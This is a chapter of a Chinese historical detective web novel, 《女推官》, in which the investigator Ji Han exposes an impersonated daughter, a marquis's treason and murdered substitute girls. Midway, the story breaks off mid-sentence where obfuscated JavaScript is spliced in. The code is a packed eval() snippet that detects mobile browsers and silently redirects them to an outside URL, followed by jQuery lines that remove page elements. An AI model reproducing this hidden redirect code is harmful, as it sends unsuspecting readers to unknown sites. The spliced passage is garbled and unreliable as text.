158. 巧合

作品:《女推官

    佝偻的背脊慢慢挺直,绷紧,咬出血的唇慢慢张开,“招什么?”冷漠、轻蔑、孤傲。即便褪下这身端庄秀丽的伪装,她依然是侯府嫡女,唯一的掌上明珠。


    她是蔡妤珠,“一没杀人二没放火,不过是祖父暂时将我寄养在欧阳太傅府中了一段时日而已,触犯了哪条律法?”祖父自小教导她,蔡家人绝不会不战而败。


    “你假冒欧阳琅月十年,是何居心?”


    “假冒?此话何来?”她垂眸浅笑,玉手芊芊交叠于腹前,端端正正地坐姿显示高贵的出身,“若要说居心?那也是可怜沈夫人思女成疾,疯癫成狂,不然,太傅又怎会让我假装他们的女儿,去哄伤心的母亲高兴呢?别弄错了,我那时候才只有十岁。”


    余光扫过哑然的沈月怡和依旧跪在地上的欧阳禹,季寒微微颔首,“不错,那时候你确实只是个孩子。懵懂无知,不明是非,甚至可以认他人为自己的父母。想必蔡将军泉下有知一定也会理解,毕竟他的孩子还有人替他们夫妻疼爱。”


    “那是自然。他们生我未养我,今日我能长这么大,得亏太傅与沈夫人照拂,他们该高兴才是。”


    对于从小没见过父母两三面的蔡妤珠而言,父母不过是两个陌生男女。她不以为然。


    “你还有位好祖父,”遥遥相望,季寒佩服她的心态至今还能稳住,“弄来那些个与你相像的少女,从十岁到十五岁、二十岁,不厌其烦地换着,是为了保住你的嫡女身份吧?等到哪天太傅垮了,至少你还能回到安平侯府对吗?”


    无声嗤笑,蔡妤珠冷眼望去,“十岁被送入太傅家中,我便再也没有回过侯府,与祖父相见也是甚少。你说的那些,我不知道,更从未听过。”


    “哦,没有回过侯府啊,”季寒恍然,“那你一定也不知道安平侯建了座棺材屋,也一定没听说过七星阵法咯?”


    “不知道你在说什么。”


    “那你可知安平侯为你招婿……啊,说错了,不是为你,”季寒纠正道,“是为顶替你位置的那个蔡娘子。你觉得,安平侯此举意欲何为?”


    “我怎知道?你自个儿问他去。”


    “我问过了。”


    蔡妤珠眉宇微蹙。


    “不过我没想明白,”负手而立,季寒一眼不错地看着她,“安平侯属意的人选都不可能抛弃现有的条件去入赘,即便他许了全部家产和爵位。因为有个很大的问题,就算有人答应,成亲那日是你,还是顶替的蔡娘子?”


    “若是你,日后你又要如何以欧阳琅月的身份嫁人?若是那顶替的蔡娘子,一旦生下孩子,安平侯又怎会让一个没有血缘关系的孩子承袭爵位?”季寒摇头,十分不解,“往小了说,骗婚,往大了说,是欺君。我想不出,当东窗事发时,他要如何两全?”


    “还是说,”她顿了顿,“他不用两全,因为那都是幌子,真实目的另有其他?”


    蔡妤珠哼声道:“我还是那句话,你应该问安平侯,不是问我。”


    “听你的意思,安平侯府接下来无论如何都与你无关是吗?”


    蔡妤珠没有回答。她不会轻易上当,不像那愚蠢的欧阳禹。


    季寒也没有给她时间思考,只一顿又说了下去,“待出了梅园的大门,你的身份是必定会公之于众。当然你依然可以回太傅府,只要他们接纳你。不过太傅的声名会落向何处,我想你应该也知晓一下。”


    除非,欧阳禹坚持将错误延续下去。这个结局,是季寒最为担心的,也是最令人寒心的。可是面上,她小心地维持没有表露一点。


    蔡妤珠掀了掀眼皮,嘴角上扬,“父亲,女儿劝您莫要听信这贱人的话。您为友人抚养孩子乃是义举,让女儿自称琅月是为了安抚母亲,也是您心疼母亲,您何错之有?还有母亲,”不紧不慢地望去,“母亲疯了的那些年整个汴京城都知道。现下您好了,难道就要将女儿推出去令人羞辱?这些年,女儿承欢膝下,孝敬双亲便一笔勾销了吗?”


    长叹一声,“母亲啊,您甘愿成为别人手中剑,去亲自断送父亲的前程吗?”轻声细语,一如这十年来的每一次问安,“只要父亲与母亲说女儿是真的,女儿依然是你们的女儿。等到琅月妹妹回来,她依然是你们的亲女儿,妤珠当你们的干女儿,一家团圆难道不好吗?”


    沈月怡下意识地上前一步。她迟疑了。


    “傅尚书,我怎觉得有人把我们当假的?”阴阳怪气的调调来自梁逢春。


    “因为,他们不信她有证据呗,”随口回道,傅淮看向绕了那么大一个弯子的季寒,清了清嗓子,“你,准备何时将证据拿出来,给他们亲眼瞧瞧?”


    她也确实没有。季寒摸了摸衣袖,不甚在意地微笑道:“说实话,太傅认不认亲生女儿,认谁做女儿与本案并无太大的关联。分清谁是谁,不过是民女查案中发觉的一桩旧闻,至于太傅与沈夫人要怎么做,是他们二位的选择。而且,民女准备的证据,怕是太重,他们也担不起。”


    “哦?”搁下茶盏,傅淮怕被吓着,“那季娘子要不先说说本案吧?天寒地冻的,老夫与梁提刑可坚持不了多久。”


    欠身行礼,“那民女就先说本案,”再次转身面对蔡妤珠,季寒露出一抹轻蔑,“安平侯,既然你的孙女下半辈子有人照顾,那咱们来说说你那档子抄家灭门的勾当吧。”


    话却是对蔡谵淳所说。傅淮看了看梁逢春,重新端起茶盏。


    径直来到安平侯跟前,季寒拢了拢衣袖,“两年前边城一役,蔡将军夫妇真的是战死的吗?可据从边城逃亡入京的百姓所说,蔡将军率诸多部下临阵倒戈,愿主动打开城门投效敌军。唯一人反对,就是副将公孙濮。”


    傅淮拿了块梅花糕递给攥着拳的梁逢春。


    “公孙濮苦劝主将不成,亦不愿背叛自己的国家,所以他只得杀了蔡兴怀。他是错了,错在不该将此事瞒下,以为瞒得了天地瞒得了官家,却瞒不住边城的百姓。他还错在,以为斩杀叛徒可以收服人心。却忘了这世上最难揣测的就是人心。”


    “一千三百名将士全数战死。多么惨烈的战绩,为何官家不给你儿子论功请赏,偏判了公孙濮一个犯官的罪名?因为百姓无一人伤亡的说辞,太过荒唐。”


    “你胡说!”蔡妤珠大吼着跳了起来


    “南溪,将她的嘴给


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16942762|185989||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我堵上。”头也不抬地下令,季寒看着眼前风烛残年的老人,“从边城逃亡来的百姓已经在供词上签字画押,他们愿为公孙濮正名。同样,他们也愿意作证,蔡兴怀意图叛国,其夫人在他死后投缳自尽。”


    当人们在好奇她连夜搬离常郡王府的原因,殊不知那些日子他们都做了什么。


    “当初弹劾已阵亡敌前的公孙濮,背后也有安平侯您的功劳吧?”不掩嘲讽,季寒继续说道,“你赌的是边城已落入敌军之手,无人可以证实当时究竟发生了什么,但未料到官家迟迟不作封赏,却单单定了公孙濮投敌叛国的罪。所以,你既欣慰又怨恨。”


    “七年前你找了个道士上府中做法事,实则是想有个人证实此时蔡妤珠还养在身边。十来岁的孩子,一个外人怎瞧得出真假?不巧的是那个道士第二次不请自来,那孩子对道士说带她走。当多年后做第二场法事的时候,你应不知道士已经看出再见到的孩子,已不是当初那个孩子。”


    “道士很后悔没有带走那个孩子,他以为那是蔡兴怀的孩子。殊不知那是你弄来的第一个蔡妤珠的替代品,而那时的蔡妤珠,早已身在太傅府继续当她的掌上明珠了。”


    一口气说完,季寒冷冷瞥了一眼欧阳禹夫妇二人,继而又道:“可怜逃不走的孩子成为了第一个替代品,也是第一个被埋在那座棺材屋里的亡魂。她至死也不知自己为何而死。一开始我也想不通,因为七年前边城还未起战事。还有藏在瓷瓶瓷罐里的,那些掺杂着银水和夜明珠碎末的骨灰。”


    褚停云说时家对于任务失败的杀手、暗卫执行的家法是灌银水。那么安平侯要这些人执行什么任务?亦或者要杀谁?


    “直到你刻意为孙女举办那场招婿宴,还偏偏挑选她奉周贵妃之命前往观音寺祈福的那一日。更有趣的是,那一天观音寺恰巧举办问禅。”她的脸上却无半点笑意,“两桩或许是巧合,超出两桩且落在同一人身上,还能解释巧合吗?”


    只是他错估了阿巳的善良,还有陆姜对她的提醒。


    垂眸敛神,她嗤笑道:“那天,那场宴席是特地为我设的吧?”


    不得不说安平侯老奸巨猾心思缜密,算准了褚停云即便收了请帖也不会去。更重要的是那封请帖褚停云收到未告知于她,是因为转交请帖之人是周贵妃。他不能拒绝,但可以找个合适的理由,于是只剩下问禅。


    更为巧合的,季寒也正想着见一见假冒蔡妤珠之人。褚停云便将计就计,将此事隐瞒了。但事后坦白,她可以理解他的隐瞒——官家那已经闹完了,再来一次,换作她估计也会自己解决。


    虽然免不了还是将他骂了一通。


    褚停云也似察觉她言语中意有所指,摸了摸鼻子。


    忽然,她顿了顿,话锋一转,“咱们先来说说你摆的那个,七星阵法吧。”


    原本仿若毫无生气的安平侯终于抬起了头,干涸的嘴唇缓缓蠕动,“你也懂吗?”


    对上那双浑浊的眼眸,季寒不答反问:“你知道为何那个阵法不起效吗?”


    在傅淮等人疑惑的目光中,只听得安平侯粗哑的声音如同石碾,“还少了一个。”